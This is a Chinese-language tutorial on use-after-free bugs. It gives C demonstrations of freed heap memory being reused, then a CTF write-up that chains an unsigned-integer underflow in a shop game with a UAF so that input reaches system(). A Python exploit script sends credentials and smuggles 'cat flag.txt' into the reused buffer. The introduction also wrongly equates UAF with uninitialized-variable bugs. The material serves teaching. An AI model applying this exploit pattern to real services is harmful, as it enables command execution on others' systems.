安全漏洞--释放重引用(UAF)漏洞分析

一 漏洞简介


未初始化漏洞(UAF)一般是指堆栈变量没有设置就使用导致,或者可能更多的是部分初始化导致。
释放后再用漏洞是堆上的数据被释放后,某个残留地址没清除再用导致。其实就是未初始化漏洞。


二 原理分析


windows系统测试代码


#include 

#include 


int main(int argc, char * argv[])

{

	char * buf1=(char*)malloc(2048);

	printf("buf1 : 0x%08x\n",(int)buf1);

	char * buf2=(char*)malloc(2048);

	printf("buf2 : 0x%08x\n",(int)buf2);

	free(buf2);

	char * buf3=(char*)malloc(2048);

	printf("buf3 : 0x%08x\n",(int)buf3);
	return 0; 

}



大家仔细观察代码,发现buf3和buf2的指针地址竟然一样。这个可是不同的内存申请,

虽然指针buf3是新分配的内存,但是我们发现指针与之前释放的buf2上面的内存地址一样。

地址是同一个地址,数据呢?由于没有对指针竟然释放后设置为NULL,同时也没有清理

内存的数据比如zeromemory,memset等。因此潜在的隐患就产生在此处内存区域。





linux系统测试代码


#include 

#include 

#include 

int main(int argc, char *argv[])

{

	char * buf1 = (char*) malloc(2048);
	char * buf2 = (char*) malloc(2048);
	char * buf3 = (char*) malloc(2048);
	char * buf4 = (char*) malloc(2048);
	char * buf5 = (char*) malloc(2048);
	memcpy(buf3, "123456helloworld", strlen("123456helloworld"));
	memcpy(buf5, "1234567890*1234567890*1234567890*",
			strlen("1234567890*1234567890*1234567890*"));
	printf("buf1 before : 0x%08x\n", (int) buf1);
	printf("buf2 before : 0x%08x\n", (int) buf2);
	printf("buf3 before : 0x%08x\n", (int) buf3);
	printf("buf4 before : 0x%08x\n", (int) buf4);
	printf("buf5 before : 0x%08x\n", (int) buf5);
	printf("\n--------------------------------------------\n");
	for (int i = 0; i < strlen("123456helloworld"); i++)
	{
		printf("%c ", (char) buf3[i]);
	}
	printf("\n");
	for (int i = 0; i < strlen("123456helloworld"); i++)
	{
		printf("0x%02x ", (char) buf3[i]);
	}
	printf("\n---------------------------------------------\n");
	free(buf3);
	char * buf6 = (char*) malloc(2048);
	printf("\n---------------------------------------------\n");
	printf("buf3 after  : 0x%08x\n", (int) buf3);
	printf("\n");
	for (int i = 0; i < strlen("123456helloworld"); i++)
	{
		printf("0x%02x ", (char) buf3[i]);
	}
	printf("\n---------------------------------------------\n");
	printf("buf6 before : 0x%08x\n", (int) buf6);
	printf("\n---------------------------------------------\n");
	for (int i = 0; i < strlen("123456helloworld"); i++)
	{
		printf("%c ", (char) buf6[i]);
	}
	printf("\n");
	for (int i = 0; i < strlen("123456helloworld"); i++)
	{
		printf("0x%02x ", (char) buf6[i]);
	}
	printf("\n---------------------------------------------\n");

	free(buf5);
	char * buf7 = (char*) malloc(2048);
	printf("buf7 before : 0x%08x\n", (int) buf7);
	memcpy(buf7, "hello", strlen("hello"));
	free(buf7);
	printf("buf7 after  : 0x%08x\n", (int) buf7);
	free(buf6);
	printf("buf6 after  : 0x%08x\n", (int) buf6);
	return 0;
}


linux 32位系统gcc 编译后,运行的结果。



大家仔细观察代码,发现buf6和buf3的指针地址竟然一样。同样大家注意红色标记的

内存数据都一样。说明使用完之后,没有释放,形成当前看到的滞留缓存代码数据。

原理也同上面。


三 漏洞测试


当应用程序调用free()释放内存时,如果内存块小于256kb,dlmalloc并不马上将内存块释放回内存,

而是将内存块标记为空闲状态。这么做的原因有两个:一是内存块不一定能马上释放会内核(比如

内存块不是位于堆顶端),二是供应用程序下次申请内存使用(这是主要原因)。当dlmalloc中空闲

内存量达到一定值时dlmalloc才将空闲内存释放会内核。如果应用程序申请的内存大于256kb,

dlmalloc调用mmap()向内核申请一块内存,返回返还给应用程序使用。如果应用程序释放的内存

大于256kb,dlmalloc马上调用munmap()释放内存。dlmalloc不会缓存大于256kb的内存块,因为

这样的内存块太大了,最好不要长期占用这么大的内存资源。好的,理解了这个漏洞的出现原因,

那么我们来实战一道CTF题目。


题目下载链接


运行检测一下,发现32位。




运行第一部需要密码登录。




好的。进入逆向分析阶段IDA +F5 ,为了便于可读部分伪代码进行了

注释和函数变量重命名。我们先不着急进行程序的破解,先进行整体

的逻辑分析。查看此程序的大概功能是什么。



注意此处有大量分配内存函数。




此处注意有很多分支选项函数。





上面可以看的见,好像是一个买东西卖东西的小游戏。

其中蕴含的考点,暂时看不透。

先看看有什么关键函数或者字符之类的。




此处循环下面有个checkdollor函数。发现有system和puts函数。这两个函数很关键,

因为经常做逆向题目的都知道,这个是个系统命令执行函数,puts可以输出结果。

如果我们能够在此处执行命令应该就可以获取我们想要的结果,然后再看看此处

进入之后的执行条件。

1 login函数必须认证通过,否则返回。

2 比较条件 *V1==49      //0x31 "1"

3 美元的数量满足dollors >1000

4 执行的命令是commanda指针指向的内存区域代码。//commanda是command指针进行了后移10个字节。


那么我们先来一步一步解决


第一步 login函数:


此处代码可以看到成功登录的账号密码是rot和123456


第二步*V1==49


那么我们只需要到时候输入数据的时候,

记得command的内存区域第十个字符是1即可。


第三步dollors>1000


此处的这个dollors我们发现初始化的时候是15

那么我们看看这个dollors在那些地方被引用,被操作。

在这函数有运算,而且是dollors=dollors-3;

注意此处的数字比较小跟1000这个比起来很大。

所以通过前面的买卖实现数据运算。

买一个苹果需要3美金,卖一个收获2美金。

就是这样一个买卖游戏。

好好思考,前面曾经讲到过整数溢出的情况。

此处要实现大于15美金最后变成大于1000美金。

不依靠溢出漏洞,靠买卖只会越来越少,因为买花去的多,卖赚到的少。


经过思考得出一种解决方案(当然买卖有很多种情况都能实现溢出)

类似于汉诺塔一样,来回倒。

1 买上五次,手里dollors=0

2 但是苹果appleHave=5

3 然后我们再卖掉一个苹果

4 applecHave=4

5 dollors=2

6 最后我们在买一个苹果

7 dollors=2-3变成了-1由于是无符号整数,实现了溢出。


第四步  执行的命令是commanda


注意申请的内存数据变化





我们看到有内存的分配malloc函数。有一个leaveMessage函数,发现允许用户输入数据。

checkdollor函数里面包含有执行指令。想想刚才上面给大家讲的释放重引用漏洞,也就

是未初始化漏洞。我们可以在第一malloc函数内存区域写入特殊数据,到了第二个函数

checkdollor里面出现了二次分配引用,可以执行,从第十一字节开始。综合以上四步,

我们构思编写出对应的explicit程序。


四 漏洞利用


exploit代码如下:


'''
Created on Nov 9, 2016

@author: 5t4rk
'''
#-*- coding: utf-8 -*-
import socket
import time
class pwn_exploit:
    HOST='192.168.138.133'
    PORT=12345 
    BUFSIZ=1024
    ADDR=(HOST, PORT)
    def __init__(self):
        try:
            self.client=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.client.connect(self.ADDR)
            self.client.settimeout(3)
            time.sleep(1)
            recvData=self.client.recv(self.BUFSIZ)
            print recvData.strip()
            self.client.send("rot\n")
            print "rot"
            time.sleep(1)
            recvData=self.client.recv(self.BUFSIZ)
            print recvData.strip()
            self.client.send("123456\n")
            print "123456"
            time.sleep(1)
            recvData=self.client.recv(self.BUFSIZ)
            print recvData.strip()
            self.client.send("1\n")
            print "1"
            time.sleep(1)
            recvData=self.client.recv(self.BUFSIZ)
            print recvData.strip()
            self.client.send("1\n")
            print "1"
            time.sleep(1)
            recvData=self.client.recv(self.BUFSIZ)
            print recvData.strip()
            self.client.send("1\n")
            print "1"
            time.sleep(1)
            recvData=self.client.recv(self.BUFSIZ)
            print recvData.strip()
            self.client.send("1\n")
            print "1"
            time.sleep(1)
            recvData=self.client.recv(self.BUFSIZ)
            print recvData.strip()
            self.client.send("1\n")
            print "1"
            time.sleep(1)
            recvData=self.client.recv(self.BUFSIZ)
            print recvData.strip()
            self.client.send("2\n")
            print "2"
            time.sleep(1)
            recvData=self.client.recv(self.BUFSIZ)
            print recvData.strip()
            self.client.send("4\n")
            print "4"
            time.sleep(1)
            recvData=self.client.recv(self.BUFSIZ)
            print recvData.strip()
            self.client.send("1"*11+"cat flag.txt\n")
            print "1"*11+"cat flag.txt"
            time.sleep(1)
            recvData=self.client.recv(self.BUFSIZ)
            print recvData.strip()
            self.client.send("1\n")
            print "1"
            time.sleep(1)
            recvData=self.client.recv(self.BUFSIZ)
            print recvData.strip()
            self.client.send("1"*10+"\n")
            print "1"*10
            time.sleep(1)
            recvData=self.client.recv(self.BUFSIZ)
            print recvData.strip()
        except Exception:
            print "except"
if __name__ == '__main__':
    heart=pwn_exploit()




此题目主要考察了两个主要的漏洞:

UAF释放重引用漏洞和整数溢出漏洞。

flag{you_are_gr3at_for_g3tt1ng_flag}


你可能感兴趣的:(漏洞学习,安全札记,二进制,安全测试,逆向工程,网络安全与恶意代码,网络安全,安全漏洞,释放重引用漏洞,整数溢出)